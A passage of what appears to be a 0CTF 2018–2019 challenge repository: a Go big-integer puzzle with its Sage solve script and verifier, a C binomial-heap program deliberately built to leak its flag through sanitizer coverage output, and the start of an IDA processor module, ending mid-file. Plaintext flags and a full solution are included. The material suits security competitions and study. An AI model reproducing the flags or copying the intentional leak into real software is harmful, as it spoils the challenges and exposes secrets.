52 | size := func0(len(a), len(b))+1 53 | c := make([]int, size) 54 | 55 | carry := 0 56 | for i, _ := range c { 57 | a_i := 0 58 | b_i := 0 59 | if i < len(a) { 60 | a_i = a[i] 61 | } 62 | if i < len(b) { 63 | b_i = b[i] 64 | } 65 | 66 | tmp := a_i + b_i + carry 67 | carry = tmp / 10 68 | if tmp >= 10 { 69 | tmp %= 10 70 | } 71 | c[i] = tmp 72 | } 73 | return c 74 | } 75 | 76 | 77 | // sub 78 | func func3(a, b []int) ([]int) { 79 | if (func1(a, b) == -1) { 80 | return []int{} 81 | } 82 | c := make([]int, len(a)) 83 | 84 | for i := 0; i < len(a); i++ { 85 | a_i := 0 86 | b_i := 0 87 | if i < len(a) { 88 | a_i = a[i] 89 | } 90 | if i < len(b) { 91 | b_i = b[i] 92 | } 93 | 94 | if a_i < b_i { 95 | a[i+1] -= 1 96 | a_i += 10 97 | } 98 | c[i] = a_i - b_i 99 | } 100 | return c 101 | } 102 | 103 | // mul 104 | func func4(a, b []int) ([]int) { 105 | c := make([]int, len(a) + len(b)) 106 | 107 | for i, _ := range c { 108 | c[i] = 0 109 | } 110 | 111 | var tmp int; 112 | 113 | for i := 0; i < len(b); i++ { 114 | for j := 0; j < len(a); j++ { 115 | tmp = a[j] * b[i] 116 | c[i+j] += tmp 117 | /* 118 | if c[i+j] >= 10 { 119 | c[i+j+1] += c[i+j] / 10; 120 | c[i+j] %= 10 121 | } 122 | */ 123 | } 124 | } 125 | 126 | for i, _ := range c[:len(c)-1] { 127 | if c[i] >= 10 { 128 | c[i+1] += c[i] / 10 129 | c[i] %= 10 130 | } 131 | } 132 | return c 133 | } 134 | 135 | // div 136 | func func5(a, b []int) ([]int) { 137 | return []int{} 138 | } 139 | 140 | // stringToIntArray 141 | func func6(a string) ([]int) { 142 | rst := make([]int, 0, len(a)) 143 | 144 | for i := len(a)-1; i >= 0; i-- { 145 | tmp := int(a[i] - '0') 146 | if tmp >= 0 && tmp < 10 { 147 | rst = append(rst, tmp) 148 | } 149 | } 150 | 151 | return rst 152 | } 153 | 154 | // outputInt 155 | func func7(a []int) { 156 | skip := true 157 | for i := len(a)-1; i >= 0; i-- { 158 | if skip && a[i] > 0 { 159 | skip = false 160 | } 161 | if !skip { 162 | fmt.Printf("%d", a[i]) 163 | } 164 | } 165 | 166 | if skip { 167 | fmt.Printf("0") 168 | } 169 | fmt.Println(""); 170 | } 171 | 172 | func main() { 173 | flag := "flag{Welcome_to_0CTF_2018!gogogo}" 174 | 175 | /* 176 | a := func6("4373612677928697257861252602371390152816537558161613618621437993378423467772036") 177 | b := func6("36875131794129999827197811565225474825492979968971970996283137471637224634055579") 178 | c := func6("154476802108746166441951315019919837485664325669565431700026634898253202035277999") 179 | */ 180 | 181 | var sa, sb, sc string; 182 | 183 | fmt.Println("Input 3 numbers") 184 | fmt.Scanf("%s", &sa) 185 | fmt.Scanf("%s", &sb) 186 | fmt.Scanf("%s", &sc) 187 | 188 | a := func6(sa) 189 | b := func6(sb) 190 | c := func6(sc) 191 | 192 | if len(a) == 0 || len(b) == 0 || len(c) == 0 { 193 | fmt.Println("Invalid input") 194 | return 195 | } 196 | 197 | // fmt.Printf("%v %v %v", a, b, c) 198 | if func1(a, []int{0}) <= 0 || 199 | func1(b, []int{0}) <= 0 || 200 | func1(c, []int{0}) <= 0 { 201 | fmt.Println("Only Positive integer") 202 | return 203 | } 204 | 205 | s1 := func2(a, b) 206 | s2 := func2(a, c) 207 | s3 := func2(b, c) 208 | 209 | t1 := func4(func4(s1, s2), a) 210 | t2 := func4(func4(s1, s3), b) 211 | t3 := func4(func4(s2, s3), c) 212 | 213 | /* 214 | fmt.Println("s1: "); func7(s1) 215 | fmt.Println("s2: "); func7(s2) 216 | fmt.Println("s3: "); func7(s3) 217 | fmt.Println("t1: "); func7(t1) 218 | fmt.Println("t2: "); func7(t2) 219 | fmt.Println("t3: "); func7(t3) 220 | */ 221 | 222 | r1 := func2(t1, func2(t2, t3)) 223 | 224 | c4 := []int{10} 225 | r2 := func4(c4, func4(s1, func4(s2, s3))) 226 | 227 | if func1(r1, r2) == 0 { 228 | fmt.Printf("Correct! flag is %s\n", flag) 229 | } else { 230 | fmt.Println("Wrong! Try again!!") 231 | } 232 | } 233 | -------------------------------------------------------------------------------- /2018/0ctf/g0g0g0/input: -------------------------------------------------------------------------------- 1 | 2018 2 | 3 3 | 31 4 | -------------------------------------------------------------------------------- /2018/0ctf/g0g0g0/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | from sage.all import * 5 | 6 | N = 10 7 | 8 | c1 = 4 * (N**2) + 12 * N - 3 9 | c2 = 32 * (N+3) 10 | 11 | E = EllipticCurve([0, c1, 0, c2, 0]) 12 | 13 | def get_abc(P): 14 | x = P[0] 15 | y = P[1] 16 | a = (8 * (N+3) - x + y) / (2 * (4 - x) * (N + 3)) 17 | b = (8 * (N+3) - x - y) / (2 * (4 - x) * (N + 3)) 18 | c = (-4 * (N+3) - (N+2) * x) / ((4 - x) * (N + 3)) 19 | 20 | da = denominator(a) 21 | db = denominator(b) 22 | dc = denominator(c) 23 | l = lcm(da,lcm(db,dc)) 24 | return [a*l, b*l, c*l] 25 | 26 | def find_positive_int(): 27 | result = E.integral_x_coords_in_interval(-1000, 1000) 28 | 29 | print result 30 | 31 | for x in result: 32 | if x != 0: 33 | y_ = var('y') 34 | ys = list(solve([y_**2 == x**3 + c1 * x**2 + c2 * x], y_)) 35 | y = int(ys[0].right()) 36 | 37 | P = E(x, y) 38 | for i in xrange(1, 200): 39 | nP = i * P 40 | if nP[0] == 4: 41 | continue 42 | a, b, c = get_abc(nP) 43 | if a > 0 and b > 0 and c > 0 and verify(a, b, c): 44 | print "----------------------- Found it ---------------------" 45 | print a, b, c 46 | # print i * P 47 | 48 | def verify(a, b, c): 49 | t1 = a / (b + c) 50 | t2 = b / (a + c) 51 | t3 = c / (a + b) 52 | 53 | return (t1 + t2 + t3) == N 54 | 55 | find_positive_int() 56 | -------------------------------------------------------------------------------- /2018/0ctf/g0g0g0/verifier.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | import string 4 | import signal 5 | import sys 6 | import random 7 | from hashlib import sha256 8 | 9 | WAITING_TIME = 60 10 | FLAG_FILE = "/home/gogogo/flag" 11 | 12 | N = 10 13 | 14 | DEBUG = False 15 | 16 | def proof_of_work(): 17 | proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in xrange(20)]) 18 | digest = sha256(proof).hexdigest() 19 | sys.stdout.write("sha256(XXXX+%s) == %s\n" % (proof[4:],digest)) 20 | sys.stdout.write('Give me XXXX ([A-Za-z0-9]{4}, please do not ends with "\\n"):') 21 | sys.stdout.flush() 22 | x = sys.stdin.read(4) 23 | if len(x) != 4 or sha256(x+proof[4:]).hexdigest() != digest: 24 | exit(0) 25 | return 26 | 27 | def main(): 28 | try: 29 | signal.alarm(WAITING_TIME) 30 | proof_of_work() 31 | 32 | user_answer = [] 33 | 34 | sys.stdout.write("Input 3 numbers\n") 35 | sys.stdout.flush() 36 | 37 | # read user input and validate it 38 | for i in xrange(3): 39 | data = long(raw_input()) 40 | if data <= 0: 41 | sys.stdout.write("Only Positive integer\n") 42 | sys.stdout.flush() 43 | return 44 | if data.bit_length() > 640: 45 | sys.stdout.write("Integer too large\n") 46 | sys.stdout.flush() 47 | return 48 | 49 | user_answer.append(data) 50 | 51 | a, b, c = user_answer 52 | 53 | # do check 54 | result = "Wrong! Try again!!" 55 | if isinstance(a, long) \ 56 | and isinstance(b, long) \ 57 | and isinstance(c, long) \ 58 | and (a * (a+c) * (a+b) + b * (b+c) * (a+b) + c * (a+c) * (b+c)) == (N * (a+b) * (a+c) * (b+c)): 59 | fd = open(FLAG_FILE) 60 | flag = fd.read() 61 | fd.close() 62 | result = "Correct! flag is %s" % flag 63 | 64 | sys.stdout.write(result + '\n') 65 | sys.stdout.flush() 66 | 67 | except: 68 | pass 69 | 70 | 71 | 72 | if __name__ == "__main__": 73 | main() 74 | -------------------------------------------------------------------------------- /2019/0ctf/sanitize/Makefile: -------------------------------------------------------------------------------- 1 | #this makefile is from http://make.mad-scientist.net/papers/advanced-auto-dependency-generation/ 2 | DEPDIR := .d 3 | OBJDIR := ./obj 4 | 5 | CC = clang 6 | CXX = clang++ 7 | 8 | CPPSRCS = $(wildcard *.cpp) 9 | CSRCS = $(wildcard *.c) 10 | SRCS = $(CPPSRCS) $(CSRCS) 11 | OBJS = $(patsubst %.o, $(OBJDIR)/%.o, $(CPPSRCS:.cpp=.o) $(CSRCS:.c=.o)) 12 | 13 | $(shell mkdir -p $(DEPDIR) >/dev/null) 14 | $(shell mkdir -p $(OBJDIR) >/dev/null) 15 | 16 | DEPFLAGS = -MT $@ -MMD -MP -MF $(DEPDIR)/$*.Td 17 | H_INCLUDE = 18 | LIB_INCLUDE = 19 | LIBS = 20 | TARGET=sanitize 21 | 22 | CFLAGS = $(H_INCLUDE) -Wall 23 | CPPFLAGS = $(H_INCLUDE) -Wall -std=c++11 24 | LDFLAGS = 25 | LINKER = clang 26 | 27 | COMPILE.c = $(CC) $(DEPFLAGS) $(CFLAGS) $(TARGET_ARCH) -c 28 | COMPILE.cc = $(CXX) $(DEPFLAGS) $(CXXFLAGS) $(CPPFLAGS) $(TARGET_ARCH) -c 29 | POSTCOMPILE = @mv -f $(DEPDIR)/$*.Td $(DEPDIR)/$*.d && touch $@ 30 | 31 | RELEASE_DIR = ./release/ 32 | 33 | all: $(TARGET) 34 | 35 | test: $(TARGET) 36 | test: CFLAGS += -DTEST -DDEBUG -fsanitize=address 37 | 38 | debug: $(TARGET) 39 | debug: CFLAGS += -DRELEASE -DDEBUG -fsanitize-coverage=trace-pc-guard 40 | debug: LDFLAGS += -fsanitize=address 41 | 42 | release: $(TARGET) 43 | release: CFLAGS += -DRELEASE -fsanitize-coverage=trace-pc-guard 44 | release: LDFLAGS += -s 45 | 46 | .PHONY : clean 47 | $(TARGET): $(OBJS) 48 | $(LINKER) $(LIB_INCLUDE) $(LDFLAGS) -o $(@) $(^) $(LIBS) 49 | strip $(@) 50 | # python patch_for_server.py $(@) 51 | #chmod +x $(@).server 52 | cp $(@) $(RELEASE_DIR) 53 | cp description.txt $(RELEASE_DIR) 54 | tar zcf $(TARGET)_release.tar.gz $(RELEASE_DIR) 55 | 56 | $(OBJDIR)/%.o : %.c 57 | $(OBJDIR)/%.o : %.c $(DEPDIR)/%.d 58 | $(COMPILE.c) $(OUTPUT_OPTION) $< 59 | $(POSTCOMPILE) 60 | 61 | $(OBJDIR)/%.o : %.cc 62 | $(OBJDIR)/%.o : %.cc $(DEPDIR)/%.d 63 | $(COMPILE.cc) $(OUTPUT_OPTION) $< 64 | $(POSTCOMPILE) 65 | 66 | $(OBJDIR)/%.o : %.cxx 67 | $(OBJDIR)/%.o : %.cxx $(DEPDIR)/%.d 68 | $(COMPILE.cc) $(OUTPUT_OPTION) $< 69 | $(POSTCOMPILE) 70 | 71 | $(OBJDIR)/%.o : %.cpp 72 | $(OBJDIR)/%.o : %.cpp $(DEPDIR)/%.d 73 | $(COMPILE.cc) $(OUTPUT_OPTION) $< 74 | $(POSTCOMPILE) 75 | 76 | $(DEPDIR)/%.d: ; 77 | .PRECIOUS: $(DEPDIR)/%.d 78 | 79 | clean: 80 | -rm $(OBJS) 81 | -rm $(TARGET) 82 | -rm -rf $(DEPDIR) 83 | test: 84 | echo $(OBJS) 85 | 86 | include $(wildcard $(patsubst %,$(DEPDIR)/%.d,$(basename $(SRCS)))) 87 | 88 | -------------------------------------------------------------------------------- /2019/0ctf/sanitize/README.md: -------------------------------------------------------------------------------- 1 | # sanitize 2 | It's a binomial heap. Try to get flag from coverage info. 3 | 4 | ## Build 5 | ``` 6 | # for debug 7 | $ make debug 8 | # for release 9 | $ make release 10 | ``` 11 | -------------------------------------------------------------------------------- /2019/0ctf/sanitize/flag: -------------------------------------------------------------------------------- 1 | flag{fr0M_C0vEr4ge_To_Fl4G_And_Enj0Y_0cTF_2Ol9!} 2 | -------------------------------------------------------------------------------- /2019/0ctf/sanitize/sanitize.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | 8 | typedef struct _Node 9 | { 10 | uint8_t key; 11 | uint32_t degree; 12 | struct _Node *parent; 13 | struct _Node *child; 14 | struct _Node *sibling; 15 | } Node; 16 | 17 | typedef struct _Heap 18 | { 19 | Node *head; 20 | } Heap; 21 | 22 | #ifdef DEBUG 23 | void print_node(Node *node, Node *parent, uint32_t depth, uint8_t is_child) 24 | { 25 | if (!node) 26 | return; 27 | 28 | while (node) 29 | { 30 | if (is_child) 31 | printf("[%d : %d] : %d <= %d Child\n", depth, node->degree, node->key, parent->key); 32 | else 33 | printf("[%d : %d] : %d <= %d Sibling\n", depth, node->degree, node->key, parent->key); 34 | 35 | 36 | if (node->child) 37 | print_node(node->child, node, depth+1, 1); 38 | 39 | node = node->sibling; 40 | is_child = 0; 41 | } 42 | } 43 | 44 | void print_heap(Heap *h) 45 | { 46 | // printf("head: %p\n", h->head); 47 | Node *p = h->head; 48 | printf("-----------------START-----------------\n"); 49 | while (p) 50 | { 51 | printf("------------ Tree Degree %d --------\n", p->degree); 52 | printf("root: %d\n", p->key); 53 | print_node(p->child, p, 1, 1); 54 | p = p->sibling; 55 | } 56 | printf("-----------------END-------------------\n"); 57 | } 58 | #endif 59 | 60 | Heap * new_heap() 61 | { 62 | Heap *h = (Heap *)malloc(sizeof(Heap)); 63 | if (!h) 64 | _exit(-3); 65 | h->head = NULL; 66 | return h; 67 | } 68 | 69 | void free_node(Node *x) 70 | { 71 | if (!x) 72 | return ; 73 | Node *tmp; 74 | Node *n = x; 75 | while (n) 76 | { 77 | free_node(n->child); 78 | n->key = 0; 79 | n->degree = 0; 80 | n->parent = NULL; 81 | n->child = NULL; 82 | tmp = n->sibling; 83 | n->sibling = NULL; 84 | free(n); 85 | n = tmp; 86 | } 87 | } 88 | 89 | void free_heap(Heap *h) 90 | { 91 | Node *p = h->head; 92 | while (p) 93 | { 94 | free_node(p->child); 95 | Node *tmp = p; 96 | p = p->sibling; 97 | tmp->sibling = tmp->parent = tmp->child = NULL; 98 | tmp->key = tmp->degree = 0; 99 | free(tmp); 100 | } 101 | h->head = NULL; 102 | free(h); 103 | } 104 | 105 | Node * heap_min_value(Heap *p) 106 | { 107 | Node *y = NULL; 108 | Node *x = p->head; 109 | uint16_t min_value = 0x100; 110 | while (x) 111 | { 112 | if (x->key < min_value) 113 | { 114 | min_value = (uint16_t)(x->key); 115 | y = x; 116 | } 117 | x = x->sibling; 118 | } 119 | return y; 120 | } 121 | 122 | #define BINOMIAL_LINK(y, z) do {\ 123 | if (y == z ) break; \ 124 | y->parent = z; \ 125 | y->sibling = z->child; \ 126 | z->child = y; \ 127 | z->degree++; \ 128 | } while(0) 129 | 130 | #define MOVE(p) do {\ 131 | if (!(h->head)) {\ 132 | h->head = p; \ 133 | } else { \ 134 | o->sibling = p; \ 135 | } \ 136 | o = p; \ 137 | Node *tmp = p->sibling; \ 138 | p->sibling = NULL; \ 139 | p = tmp; \ 140 | } while (0) 141 | 142 | Heap * heap_merge(Heap *h1, Heap *h2) 143 | { 144 | if (!h1 || !h2) 145 | return NULL; 146 | Node *p1 = h1->head; 147 | Node *p2 = h2->head; 148 | Heap *h = new_heap(); 149 | Node *o = h->head; 150 | while (p1 && p2) 151 | { 152 | if (p1->degree <= p2->degree) 153 | { 154 | MOVE(p1); 155 | } 156 | else 157 | { 158 | MOVE(p2); 159 | } 160 | } 161 | #ifdef DDEBUG 162 | printf("h->head: %p\n", h->head); 163 | if (o) 164 | printf("o: %p o->sibling: %p\n", o, o->sibling); 165 | if (p1) 166 | printf("p1 has remain\n"); 167 | if (p2) 168 | printf("p2 has remain\n"); 169 | #endif 170 | while (p1) 171 | { 172 | MOVE(p1); 173 | } 174 | while (p2) 175 | { 176 | MOVE(p2); 177 | } 178 | h1->head = NULL; 179 | h2->head = NULL; 180 | free_heap(h1); 181 | free_heap(h2); 182 | 183 | return h; 184 | } 185 | 186 | Heap * heap_union(Heap *h1, Heap *h2) 187 | { 188 | Heap *h = heap_merge(h1, h2); 189 | if (!h->head) 190 | return h; 191 | Node *prev = NULL; 192 | Node *x = h->head; 193 | Node *next = x->sibling; 194 | while (next) 195 | { 196 | if ((x->degree != next->degree) || (next->sibling && next->sibling->degree == x->degree)) 197 | { 198 | prev = x; 199 | x = next; 200 | } 201 | else if (x->key <= next->key) 202 | { 203 | x->sibling = next->sibling; 204 | BINOMIAL_LINK(next, x); 205 | } 206 | else 207 | { 208 | if (!prev) 209 | h->head = next; 210 | else 211 | prev->sibling = next; 212 | BINOMIAL_LINK(x, next); 213 | x = next; 214 | } 215 | next = x->sibling; 216 | } 217 | return h; 218 | } 219 | 220 | void insert(Heap **ph, uint8_t data) 221 | { 222 | Heap *h = *ph; 223 | Node *x = (Node *)malloc(sizeof(Node)); 224 | if (!x) 225 | _exit(-3); 226 | x->child = x->sibling = x->parent = NULL; 227 | x->degree = 0; 228 | x->key = data; 229 | Heap *h2 = new_heap(); 230 | h2->head = x; 231 | *ph = heap_union(h, h2); 232 | } 233 | 234 | Node * extract_min(Heap **ph) 235 | { 236 | Heap *h = *ph; 237 | Node *p = h->head; 238 | uint32_t min_value = 0x10000; 239 | Node *min_node = NULL; 240 | 241 | while (p) 242 | { 243 | if (p->key < min_value) 244 | { 245 | min_value = p->key; 246 | min_node = p; 247 | } 248 | p = p->sibling; 249 | } 250 | 251 | if (!min_node) 252 | return NULL; 253 | 254 | Heap *h2 = new_heap(); 255 | h2->head = min_node->child; 256 | p = min_node->child; 257 | while (p) 258 | { 259 | p->parent = NULL; 260 | p = p->sibling; 261 | } 262 | 263 | *ph = heap_union(h, h2); 264 | free_heap(h2); 265 | return min_node; 266 | } 267 | 268 | void heap_decrease_key(Node *x, int32_t k) 269 | { 270 | if (!x || k > x->key) 271 | { 272 | return; 273 | } 274 | x->key = (uint8_t)k; 275 | Node *y = x; 276 | Node *z = y->parent; 277 | while (z && y->key < z->key) 278 | { 279 | uint8_t tmp = y->key; 280 | y->key = z->key; 281 | z->key = tmp; 282 | y = z; 283 | z = y->parent; 284 | } 285 | } 286 | 287 | void heap_delete_node(Heap **ph, Node *x) 288 | { 289 | heap_decrease_key(x, -1000); 290 | extract_min(ph); 291 | } 292 | 293 | #ifdef TEST 294 | void test(uint8_t *a, int size) 295 | { 296 | Heap *h = new_heap(); 297 | int i; 298 | for (i = 0; i < size; ++i) 299 | { 300 | insert(&h, a[i]); 301 | } 302 | print_heap(h); 303 | free_heap(h); 304 | } 305 | 306 | int main() 307 | { 308 | uint8_t a[] = {12, 7, 25, 15, 28, 41, 33}; 309 | uint8_t b[] = {18, 3, 37, 6, 8, 29, 10, 44, 30, 23, 22, 48, 31, 17, 45, 32, 24, 50, 55}; 310 | uint8_t c[] = {10, 1, 6, 12, 25, 8, 14, 29, 18, 11, 17, 38, 27}; 311 | test(a, sizeof(a) / sizeof(uint8_t)); 312 | test(b, sizeof(b) / sizeof(uint8_t)); 313 | test(c, sizeof(c) / sizeof(uint8_t)); 314 | return 0; 315 | } 316 | #endif 317 | 318 | #ifdef RELEASE 319 | 320 | uint32_t *g_start = NULL; 321 | uint32_t *g_stop = NULL; 322 | 323 | void __sanitizer_cov_trace_pc_guard_init(uint32_t *start, uint32_t *stop) { 324 | if (start == stop || *start) return; // Initialize only once. 325 | for (uint32_t *x = start; x < stop; x++) 326 | *x = 0; 327 | g_start = start; 328 | g_stop = stop; 329 | } 330 | 331 | void __sanitizer_cov_trace_pc_guard(uint32_t *guard) { 332 | ++*guard; 333 | } 334 | 335 | void dtor() 336 | { 337 | if ((!g_start) 338 | || (!g_stop) 339 | || g_start >= g_stop) 340 | return; 341 | 342 | #ifdef DEBUG 343 | for (uint32_t *x = g_start; x < g_stop; x++) 344 | printf("%p %x\n", x, *x); 345 | #endif 346 | uint8_t *p = (uint8_t *)g_start; 347 | while (p < (uint8_t *)g_stop) 348 | { 349 | printf("%02x", *p); 350 | p++; 351 | } 352 | puts(""); 353 | } 354 | 355 | size_t read_user_heap(uint8_t *user_input, size_t max_size) 356 | { 357 | size_t i = 0; 358 | char *ret = fgets((char *)user_input, 0x20, stdin); 359 | if (!ret) 360 | { 361 | _exit(-1); 362 | } 363 | 364 | // check user input 365 | size_t length = strlen((char *)user_input); 366 | if (length < 4) 367 | { 368 | _exit(-1); 369 | } 370 | 371 | if (user_input[length-1] == '\n') 372 | { 373 | user_input[length-1] = '\x00'; 374 | length--; 375 | } 376 | for (i = 0; i < length; ++i) 377 | { 378 | if (user_input[i] < '\x20' || user_input[i] > '\x7e') 379 | { 380 | fprintf(stderr, "Invalid Character\n"); 381 | _exit(-2); 382 | } 383 | } 384 | return length; 385 | } 386 | 387 | uint32_t read_flag_locations(uint32_t *locs, size_t max_size) 388 | { 389 | uint8_t *used = (uint8_t *)malloc(max_size+1); 390 | if (!used) 391 | { 392 | _exit(-1); 393 | } 394 | memset(used, 0, max_size+1); 395 | 396 | // read flag count 397 | uint32_t i = 0; 398 | uint32_t times = 0; 399 | scanf("%d", ×); 400 | if (times < 3 || times > max_size) 401 | { 402 | fprintf(stderr, "Invalid\n"); 403 | _exit(-3); 404 | } 405 | 406 | #ifdef DEBUG 407 | printf("times: %d\n", times); 408 | #endif 409 | 410 | // read flag locations 411 | for (i = 0; i < times; ++i) 412 | { 413 | uint32_t loc = 0; 414 | scanf("%d", &loc); 415 | loc %= max_size; 416 | #ifdef DEBUG 417 | printf("loc: %d\n", loc); 418 | #endif 419 | if (used[loc] != 0) 420 | { 421 | fprintf(stderr, "Invalid\n"); 422 | _exit(-4); 423 | } 424 | used[loc] = 1; 425 | locs[i] = loc; 426 | } 427 | free(used); 428 | return times; 429 | } 430 | 431 | int main(int argc, char *argv[]) 432 | { 433 | alarm(10); 434 | // do my initialization 435 | atexit(dtor); 436 | 437 | // read flag 438 | FILE *file = fopen("flag", "r"); 439 | if (!file) 440 | { 441 | fprintf(stderr, "open flag failed\n"); 442 | _exit(-1); 443 | } 444 | 445 | fseek(file, 0, SEEK_END); 446 | long flag_size = ftell(file); 447 | fseek(file, 0, SEEK_SET); 448 | char *flag = (char *)malloc(flag_size+1); 449 | if (!flag) 450 | { 451 | _exit(-1); 452 | } 453 | memset(flag, 0, flag_size+1); 454 | fread(flag, 1, flag_size, file); 455 | fclose(file); 456 | 457 | size_t i; 458 | uint8_t user_input[0x40] = {0}; 459 | uint32_t *locs = (uint32_t *)malloc((flag_size+1)*sizeof(uint32_t)); 460 | if (!locs) 461 | { 462 | _exit(-1); 463 | } 464 | memset(locs, 0, (flag_size+1)*sizeof(uint32_t)); 465 | 466 | // read user input 467 | size_t length = read_user_heap(user_input, 0x40); 468 | uint32_t times = read_flag_locations(locs, flag_size); 469 | 470 | // insert user input into heap first 471 | Heap *h = new_heap(); 472 | for (i = 0; i < length; ++i) 473 | { 474 | insert(&h, user_input[i]); 475 | } 476 | 477 | // insert flag into heap 478 | for (i = 0; i < times; ++i) 479 | { 480 | insert(&h, flag[locs[i]]); 481 | } 482 | 483 | #ifdef DEBUG 484 | print_heap(h); 485 | #endif 486 | 487 | free(flag); 488 | flag = NULL; 489 | free(locs); 490 | locs = NULL; 491 | free_heap(h); 492 | h = NULL; 493 | return 0; 494 | } 495 | #endif 496 | -------------------------------------------------------------------------------- /2019/0ctf/sixology/IDA/0ctf.hpp: -------------------------------------------------------------------------------- 1 | #ifndef _0CTF_HPP 2 | #define _0CTF_HPP 3 | 4 | #include "idaidp.hpp" 5 | #include "ins.hpp" 6 | #include 7 | #include 8 | 9 | #define LOOP_TAG 'L' 10 | 11 | #define PROC_MAXOP 4 // max number of operands 12 | CASSERT(PROC_MAXOP <= UA_MAXOP); 13 | 14 | //------------------------------------------------------------------ 15 | enum RegNo 16 | { 17 | R0, R1, R2, R3, R4, R5, R6, R7, 18 | R8, R9, R10, R11, R12, R13, R14, R15, 19 | R16, R17, R18, R19, R20, R21, R22, R23, 20 | R24, R25, R26, R27, R28, R29, R30, R31, 21 | P0, P1, P2, P3, 22 | SA, LC, 23 | rVcs, rVds, // virtual registers for code and data segments 24 | SP = R31, 25 | FP = R30, 26 | LR = R29, 27 | }; 28 | 29 | #define GPR_NUM 32 30 | 31 | enum cond_t 32 | { 33 | cLT = 0, 34 | cEQ = 1, 35 | cGT = 2, 36 | }; 37 | 38 | int idaapi ana(insn_t *_insn); 39 | int idaapi emu(const insn_t &_insn); 40 | bool idaapi oops_is_basic_block_end(const insn_t &insn); 41 | bool idaapi create_func_frame(func_t * pfn); 42 | bool idaapi oops_is_call_insn(const insn_t &insn); 43 | int idaapi oops_get_frame_retsize(const func_t * /*pfn */ ); 44 | 45 | #endif 46 | -------------------------------------------------------------------------------- /2019/0ctf/sixology/IDA/CMakeLists.txt: -------------------------------------------------------------------------------- 1 | cmake_minimum_required (VERSION 3.5) 2 | 3 | project (0ctf2019 CXX) 4 | 5 | if(NOT CMAKE_BUILD_TYPE) 6 | set(CMAKE_BUILD_TYPE "Release") 7 | endif() 8 | 9 | # idasdk72 10 | if(NOT IDA_SDK_DIR) 11 | message(FATAL_ERROR "IDA_SDK_DIR: Please specify the idasdk directory.") 12 | endif() 13 | 14 | include_directories(SYSTEM 15 | "${IDA_SDK_DIR}/include" 16 | ) 17 | 18 | #message(${IDA_SDK_DIR} "gogogo") 19 | 20 | if(MSVC) 21 | message("---- MSVC ----") 22 | add_definitions(-D__NT__) 23 | add_definitions(-D__X64__) 24 | add_definitions(-D__IDP__) 25 | set(IDASDK_LIBRARIES "${IDA_SDK_DIR}/lib/x64_win_vc_32/ida.lib") 26 | if(CMAKE_BUILD_TYPE MATCHES Release) 27 | add_definitions(-DRELEASE) 28 | endif() 29 | elseif(APPLE) 30 | message("---- APPLE ----" ${CMAKE_BUILD_TYPE}) 31 | add_definitions(-D__MAC__) 32 | set(IDASDK_LIBRARIES "${IDA_SDK_DIR}/lib/x64_mac_gcc_32/libida.dylib") 33 | else() 34 | message("---- LINUX ----") 35 | add_definitions(-D__LINUX__) 36 | set(IDASDK_LIBRARIES "") 37 | endif() 38 | 39 | set(CMAKE_CXX_STANDARD 14) 40 | set(CMAKE_CXX_STANDARD_REQUIRED ON) 41 | set(CMAKE_CXX_EXTENSIONS OFF) 42 | 43 | if(MSVC) 44 | add_definitions("/wd4244") 45 | add_definitions("/wd4267") 46 | else() 47 | set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wall") 48 | set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wno-format") 49 | set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wno-unused-parameter") 50 | set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wno-sign-compare") 51 | set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wno-unused-variable") 52 | 53 | set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -fPIC") 54 | endif() 55 | 56 | set(SOURCES 57 | reg.cpp 58 | ins.hpp 59 | ins.cpp 60 | ana.cpp 61 | emu.cpp 62 | out.cpp 63 | 0ctf.hpp 64 | ) 65 | 66 | add_library(${CMAKE_PROJECT_NAME} SHARED ${SOURCES}) 67 | 68 | set_target_properties(${CMAKE_PROJECT_NAME} PROPERTIES PREFIX "") 69 | set_target_properties(${CMAKE_PROJECT_NAME} PROPERTIES OUTPUT_NAME "${CMAKE_PROJECT_NAME}") 70 | set_target_properties(${CMAKE_PROJECT_NAME} PROPERTIES CXX_VISIBILITY_PRESET hidden) 71 | 72 | target_link_libraries(${CMAKE_PROJECT_NAME} ${IDASDK_LIBRARIES}) 73 | 74 | if(MSVC) 75 | install(TARGETS ${CMAKE_PROJECT_NAME} DESTINATION "$ENV{APPDATA}/Hex-Rays/IDA Pro/plugins") 76 | else() 77 | install(TARGETS ${CMAKE_PROJECT_NAME} DESTINATION "~/.idapro/plugins") 78 | endif() 79 | 80 | -------------------------------------------------------------------------------- /2019/0ctf/sixology/IDA/ana.cpp: -------------------------------------------------------------------------------- 1 | #include "0ctf.hpp" 2 | #include 3 | 4 | #define BITS(val, low, bits) ( ((val)>>low) & ( (1< 2 | #include "0ctf.hpp" 3 | 4 | #ifndef RELEASE 5 | instruc_t Instructions[] = 6 | { 7 | { "", 0 }, 8 | { "ins_1", 0 }, 9 | { "allocframe", CF_USE1 }, 10 | { "store", CF_USE1 | CF_CHG2 }, 11 | { "exchange", CF_CHG1 | CF_CHG2 }, 12 | { "deallocframe", 0 }, 13 | { "ins_6", 0 }, 14 | { "loop", CF_USE1 | CF_USE2 }, 15 | { "add", CF_CHG1 | CF_USE2 | CF_USE3 }, 16 | { "ins_9", 0 }, 17 | { "ins_10", 0 }, 18 | { "li", CF_CHG1 | CF_USE2 }, 19 | { "nor", CF_CHG1 | CF_USE2 | CF_USE3 }, 20 | { "ins_13", 0 }, 21 | { "sub", CF_CHG1 | CF_USE2 | CF_USE3 }, 22 | { "ins_15", 0 }, 23 | { "mov", CF_CHG1 | CF_USE2 }, 24 | // HINT: call 25 | { "call", CF_USE1 | CF_CALL }, 26 | { "ins_18", 0 }, 27 | { "jmp", CF_USE1 | CF_JUMP }, 28 | { "cmp", CF_CHG1 | CF_USE2 | CF_USE3 }, 29 | { "ins_21", 0 }, 30 | { "ins_22", 0 }, 31 | { "endloop", CF_USE1 | CF_JUMP }, 32 | { "div", CF_CHG1 | CF_CHG2 | CF_USE3 | CF_USE4 }, 33 | { "ins_25", 0 }, 34 | { "switch", CF_USE1 | 